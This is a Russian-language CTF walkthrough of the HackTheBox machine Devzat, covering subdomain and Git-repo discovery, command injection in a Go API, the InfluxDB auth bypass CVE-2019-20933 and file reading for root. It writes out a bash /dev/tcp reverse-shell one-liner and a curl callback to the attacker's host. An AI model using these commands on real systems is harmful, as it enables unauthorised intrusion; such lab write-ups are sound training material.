Прохождение HTB Devzat

Прохождение HTB Devzat

В этой статье мы раз­берем среднюю по сложности машину из HTB – Devzat. На при­мере её про­хож­дения ты научишь­ся экс­плу­ати­ровать CVE-2019-20933, дампить открытые Git репозитории, находить command injection в веб-приложениях и получать рут с помощью тех­ники path traversal. Словари, которые я использовал можно найти тут

Сканирование портов

IP машины — 10.10.11.118, сразу заносим его в /etc/hosts: 

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да. 

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap, который мы будем запускать с такими параметрами: 

-T4 – увеличит скорость сканирования, но при этом нас будет легче обнаружить, так что этот аргумент стоит использовать лишь при легальном пентесте; 

-p- – этот аргумент указывает на сканирование всех портов, при желании можно указать нужные вам через запятую, это также ускорит процесс; 

-A – позволяет обнаружить версию операционной системы и версии установленного ПО; 

-o – аргумент для экспорта результатов в файл. 

После сканирования мы видим 22, 80 и 8000 порты. Брут SSH на  22 порту, особенно на машинках из HTB ничего не даст, поэтому перейдем сразу к 80: 

Получаем новый субдомен

Открыв devzat.htb мы видим обычный с виду одностраничный сайт, но пытаясь сбрутить директории ничего не получим, а значит нужно перейти к поиску субдоменов. Делать это удобнее всего с помощью Gobuster (по умолчанию в Kali отсутствует, установить можно с помощью команды: sudo apt-get install gobuster), ведь в нём есть функция брута виртуальных хостов (режим vhost). Запускаем, используя команду:

gobuster vhost -u http://devzat.htb -w словарь -r 

Если вы всё сделали без ошибок, то Gobuster найдёт субдомен pets, сразу добавляем его в /etc/hosts: 

Запуск dirsearch 

Перейдя на pets.devzat.htb мы видим ещё один сайт, в котором можно добавлять животных, тем самым обращаясь к API, но об этом немного позже. Запускаем dirsearch (скачать можно тут), чтобы найти скрытые файлы и директории, сделать это можно с помощью команды: 

dirsearch -u http://pets.devzat.htb -e txt,php,html -t 20 –x 400,404 

Спустя несколько секунд, мы увидим открытый репозиторий Git (что это такое и как это эксплуатировать можно узнать тут). Дампим его утилитой git-dumper (скачать можно тут): 

RCE в функции loadCharacter 

Дождавшись, когда git-dumper закончит работу и открыв файл main.go, мы увидим возможность внедрения произвольных команд в момент запроса к API: 

Функция loadCharacter никак не защищена от возможности внедрения системных команд, чем мы и воспользуемся. Открываем BurpSuite, ловим запрос с формы и отсылаем его в репитер: 

В репитере мы можем редактировать запрос и добавить туда команду curl наш_айпи:порт_nc, таким образом убедимся, что запросы из системы могут к нам долететь: 

Немного отредактировав команду, получаем имя пользователя и текущую директорию: 

Реверс шелл

Закодировав в бейс64 команду  
bash -i >& /dev/tcp/айпи/порт_nc 0>&1, мы получаем бэкконект:

Получаем флаг user.txt

Немного покопавшись в системе, мы замечаем запущенный контейнер с портом 8086: 

Прокидываем этот порт себе для дальнейшего изучения используя chisel (скачать можно тут). Качаем на атакующую машину и запускаем веб-сервер, с которого будем передавать утилиту на Devzat: 

Запускаем chisel: 

Когда порт проброшен, запускаем nmap: 

Немного погуглив, понимаем, что для InfluxDB есть эксплоит: 

Уязвимость позволяет обойти процесс аутентификации, а существует из-за того, что токен JWT может иметь пустой секретный ключ в функции аутентификации в services/httpd/handler.go, таким образом мы получим несанкционированный доступ к базе данных. Запускаем эксплоит и указываем путь к словарю с именами пользователей: 

Получаем пароли из БД: 

Идём по порядку и пробуем зайти как catherine: 

Получаем первый флаг user.txt: 

Повышаем права

Используя команду find / -type f -maxdepth 3 –writable, мы находим доступные для записи файлы и папки, в которых лежат бекапы:

Копируем архивы в tmp и там их открываем: 

Используя команду diff dev/commands.go main/commands.go >> diff.txt, мы находим функцию, которая позволяет читать файлы, если введённый пароль соответствует тому, который в этой функции указан: 

Консоль, которую мы используем сейчас очень ограничена, чтобы получить нормальный коннект по SSH нужно создать файлы id_rsa и id_rsa.pub, которые мы перекинем на взломанную машину: 

После создания ключей запускаем веб-сервер, качаем id_rsa.pub на Devzat и подключаемся по SSH с использованием ключа id_rsa (ssh [email protected] -i id_rsa) 

После нескольких минут, мы найдем открытый порт 8443, который доступен только из локальной сети Devzat. На этом порту работает SSH и тот самый билд программы, которая позволяет читать файлы с использованием пароля, который мы уже знаем. Заходим, используя любой логин: 

Смотрим доступные команды: 

Флаг root.txt

Немного потыкав команду file, мы получаем возможность читать любой системный файл:

На этом прохождение Devzat заканчивается, загружаем флаги в HackTheBox, и получаем баллы: 

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Leave a Reply

Your email address will not be published. Required fields are marked *